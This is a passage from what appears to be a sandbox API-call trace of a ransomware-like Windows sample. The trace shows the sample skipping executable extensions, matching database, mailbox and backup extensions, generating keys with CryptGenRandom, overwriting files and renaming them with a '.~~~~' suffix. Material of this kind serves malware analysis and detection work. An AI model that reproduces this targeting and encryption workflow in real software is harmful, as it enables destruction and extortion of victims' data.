	[0083.788] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.788] CloseHandle (hObject=0x118) returned 1
	[0083.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0083.788] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.~~~~")) returned 1
	[0083.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0083.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0083.793] GetLastError () returned 0x0
	[0083.793] RtlWakeConditionVariable () returned 0x365f70
	[0083.793] GetCurrentThreadId () returned 0x9cc
	[0083.793] GetCurrentThreadId () returned 0x9cc
	[0083.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4328
	[0083.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5690 | out: hHeap=0x300000) returned 1
	[0083.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9538 | out: hHeap=0x300000) returned 1
	[0083.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5690
	[0083.793] lstrlenW (lpString=".scr") returned 4
	[0083.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".scr") returned 0x0
	[0083.793] lstrlenW (lpString=".cmd") returned 4
	[0083.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".cmd") returned 0x0
	[0083.793] lstrlenW (lpString=".dll") returned 4
	[0083.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".dll") returned 0x0
	[0083.793] lstrlenW (lpString=".bat") returned 4
	[0083.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".bat") returned 0x0
	[0083.793] lstrlenW (lpString=".cpl") returned 4
	[0083.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".cpl") returned 0x0
	[0083.793] lstrlenW (lpString=".sys") returned 4
	[0083.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".sys") returned 0x0
	[0083.793] lstrlenW (lpString=".msc") returned 4
	[0083.793] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".msc") returned 0x0
	[0083.793] lstrlenW (lpString=".com") returned 4
	[0083.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".com") returned 0x0
	[0083.794] lstrlenW (lpString=".lnk") returned 4
	[0083.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".lnk") returned 0x0
	[0083.794] lstrlenW (lpString=".msp") returned 4
	[0083.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".msp") returned 0x0
	[0083.794] lstrlenW (lpString=".pif") returned 4
	[0083.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".pif") returned 0x0
	[0083.794] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0083.794] lstrlenW (lpString=".sqb") returned 4
	[0083.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".sqb") returned 0x0
	[0083.794] lstrlenW (lpString=".ost") returned 4
	[0083.794] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".ost") returned 0x0
	[0083.794] lstrlenW (lpString=".txt") returned 4
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".txt") returned 0x0
	[0083.795] lstrlenW (lpString=".mdt") returned 4
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".mdt") returned 0x0
	[0083.795] lstrlenW (lpString=".BDB") returned 4
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".BDB") returned 0x0
	[0083.795] lstrlenW (lpString=".eql") returned 4
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".eql") returned 0x0
	[0083.795] lstrlenW (lpString=".DBF") returned 4
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".DBF") returned 0x0
	[0083.795] lstrlenW (lpString=".EQL") returned 4
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".EQL") returned 0x0
	[0083.795] lstrlenW (lpString=".FDB") returned 4
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".FDB") returned 0x0
	[0083.795] lstrlenW (lpString=".EDB") returned 4
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".EDB") returned 0x0
	[0083.795] lstrlenW (lpString=".DACPAC") returned 7
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".DACPAC") returned 0x0
	[0083.795] lstrlenW (lpString=".VHD") returned 4
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".VHD") returned 0x0
	[0083.795] lstrlenW (lpString=".DBV") returned 4
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".DBV") returned 0x0
	[0083.795] lstrlenW (lpString=".dacpac") returned 7
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".dacpac") returned 0x0
	[0083.795] lstrlenW (lpString=".sdf") returned 4
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".sdf") returned 0x0
	[0083.795] lstrlenW (lpString=".accdb") returned 6
	[0083.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".accdb") returned 0x0
	[0083.796] lstrlenW (lpString=".DBX") returned 4
	[0083.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".DBX") returned 0x0
	[0083.796] lstrlenW (lpString=".MDT") returned 4
	[0083.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".MDT") returned 0x0
	[0083.796] lstrlenW (lpString=".SQB") returned 4
	[0083.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".SQB") returned 0x0
	[0083.796] lstrlenW (lpString=".vhd") returned 4
	[0083.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".vhd") returned 0x0
	[0083.796] lstrlenW (lpString=".bac") returned 4
	[0083.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".bac") returned 0x0
	[0083.796] lstrlenW (lpString=".mdf") returned 4
	[0083.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".mdf") returned 0x0
	[0083.796] lstrlenW (lpString=".BAK") returned 4
	[0083.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".BAK") returned 0x0
	[0083.796] lstrlenW (lpString=".BAC") returned 4
	[0083.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".BAC") returned 0x0
	[0083.796] lstrlenW (lpString=".dbs") returned 4
	[0083.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".dbs") returned 0x0
	[0083.796] lstrlenW (lpString=".vhdx") returned 5
	[0083.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".vhdx") returned 0x0
	[0083.796] lstrlenW (lpString=".NDF") returned 4
	[0083.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".NDF") returned 0x0
	[0083.796] lstrlenW (lpString=".dat") returned 4
	[0083.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".dat") returned 0x0
	[0083.796] lstrlenW (lpString=".DBS") returned 4
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".DBS") returned 0x0
	[0083.797] lstrlenW (lpString=".CKP") returned 4
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".CKP") returned 0x0
	[0083.797] lstrlenW (lpString=".edb") returned 4
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".edb") returned 0x0
	[0083.797] lstrlenW (lpString=".PST") returned 4
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".PST") returned 0x0
	[0083.797] lstrlenW (lpString=".dbf") returned 4
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".dbf") returned 0x0
	[0083.797] lstrlenW (lpString=".SQL") returned 4
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".SQL") returned 0x0
	[0083.797] lstrlenW (lpString=".pst") returned 4
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".pst") returned 0x0
	[0083.797] lstrlenW (lpString=".dbv") returned 4
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".dbv") returned 0x0
	[0083.797] lstrlenW (lpString=".SDF") returned 4
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".SDF") returned 0x0
	[0083.797] lstrlenW (lpString=".dtxs") returned 5
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".dtxs") returned 0x0
	[0083.797] lstrlenW (lpString=".db3") returned 4
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".db3") returned 0x0
	[0083.797] lstrlenW (lpString=".OST") returned 4
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".OST") returned 0x0
	[0083.797] lstrlenW (lpString=".dbx") returned 4
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".dbx") returned 0x0
	[0083.797] lstrlenW (lpString=".DB3") returned 4
	[0083.797] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".DB3") returned 0x0
	[0083.797] lstrlenW (lpString=".DAT") returned 4
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".DAT") returned 0x0
	[0083.798] lstrlenW (lpString=".VHDX") returned 5
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".VHDX") returned 0x0
	[0083.798] lstrlenW (lpString=".ndf") returned 4
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".ndf") returned 0x0
	[0083.798] lstrlenW (lpString=".DB") returned 3
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".DB") returned 0x0
	[0083.798] lstrlenW (lpString=".sql") returned 4
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".sql") returned 0x0
	[0083.798] lstrlenW (lpString=".MYD") returned 4
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".MYD") returned 0x0
	[0083.798] lstrlenW (lpString=".DBT") returned 4
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".DBT") returned 0x0
	[0083.798] lstrlenW (lpString=".ACCDB") returned 6
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".ACCDB") returned 0x0
	[0083.798] lstrlenW (lpString=".fdb") returned 4
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".fdb") returned 0x0
	[0083.798] lstrlenW (lpString=".bak") returned 4
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".bak") returned 0x0
	[0083.798] lstrlenW (lpString=".myd") returned 4
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".myd") returned 0x0
	[0083.798] lstrlenW (lpString=".DTXS") returned 5
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".DTXS") returned 0x0
	[0083.798] lstrlenW (lpString=".ckp") returned 4
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".ckp") returned 0x0
	[0083.798] lstrlenW (lpString=".dbt") returned 4
	[0083.798] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".dbt") returned 0x0
	[0083.799] lstrlenW (lpString=".db") returned 3
	[0083.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".db") returned 0x0
	[0083.799] lstrlenW (lpString=".TXT") returned 4
	[0083.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".TXT") returned 0x0
	[0083.799] lstrlenW (lpString=".MDF") returned 4
	[0083.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".MDF") returned 0x0
	[0083.799] lstrlenW (lpString=".bdb") returned 4
	[0083.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".bdb") returned 0x0
	[0083.799] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.799] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.799] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.799] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0083.800] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.800] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0083.800] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20379037695) returned 1
	[0083.800] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9bc8b4b0, dwHighDateTime=0x1d60e1e)) 
	[0083.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9538
	[0083.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9538 | out: hHeap=0x300000) returned 1
	[0083.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807b50
	[0083.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807b50 | out: hHeap=0x300000) returned 1
	[0083.801] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0083.801] GetLastError () returned 0x0
	[0083.801] GetLastError () returned 0x0
	[0083.801] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0083.801] GetLastError () returned 0x0
	[0083.802] GetLastError () returned 0x0
	[0083.803] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffe0b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.803] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x1f5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x1f5, lpOverlapped=0x0) returned 1
	[0083.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.803] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.803] WriteFile (in: hFile=0x118, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.803] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.803] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.804] CloseHandle (hObject=0x118) returned 1
	[0083.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a46c0
	[0083.804] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.~~~~")) returned 1
	[0083.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a46c0 | out: hHeap=0x300000) returned 1
	[0083.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0083.946] GetLastError () returned 0x0
	[0083.946] RtlWakeConditionVariable () returned 0x365f70
	[0083.946] GetCurrentThreadId () returned 0x9cc
	[0083.946] GetCurrentThreadId () returned 0x9cc
	[0083.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab768
	[0083.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab810 | out: hHeap=0x300000) returned 1
	[0083.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc40 | out: hHeap=0x300000) returned 1
	[0083.946] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab810
	[0083.961] lstrlenW (lpString=".scr") returned 4
	[0083.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".scr") returned 0x0
	[0083.961] lstrlenW (lpString=".cmd") returned 4
	[0083.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".cmd") returned 0x0
	[0083.961] lstrlenW (lpString=".dll") returned 4
	[0083.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".dll") returned 0x0
	[0083.961] lstrlenW (lpString=".bat") returned 4
	[0083.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".bat") returned 0x0
	[0083.961] lstrlenW (lpString=".cpl") returned 4
	[0083.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".cpl") returned 0x0
	[0083.962] lstrlenW (lpString=".sys") returned 4
	[0083.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".sys") returned 0x0
	[0083.962] lstrlenW (lpString=".msc") returned 4
	[0083.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".msc") returned 0x0
	[0083.962] lstrlenW (lpString=".com") returned 4
	[0083.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".com") returned 0x0
	[0083.962] lstrlenW (lpString=".lnk") returned 4
	[0083.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".lnk") returned 0x0
	[0083.962] lstrlenW (lpString=".msp") returned 4
	[0083.962] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", lpSrch=".msp") returned 0x0
	[0083.962] lstrlenW (lpString=".pif") returned 4
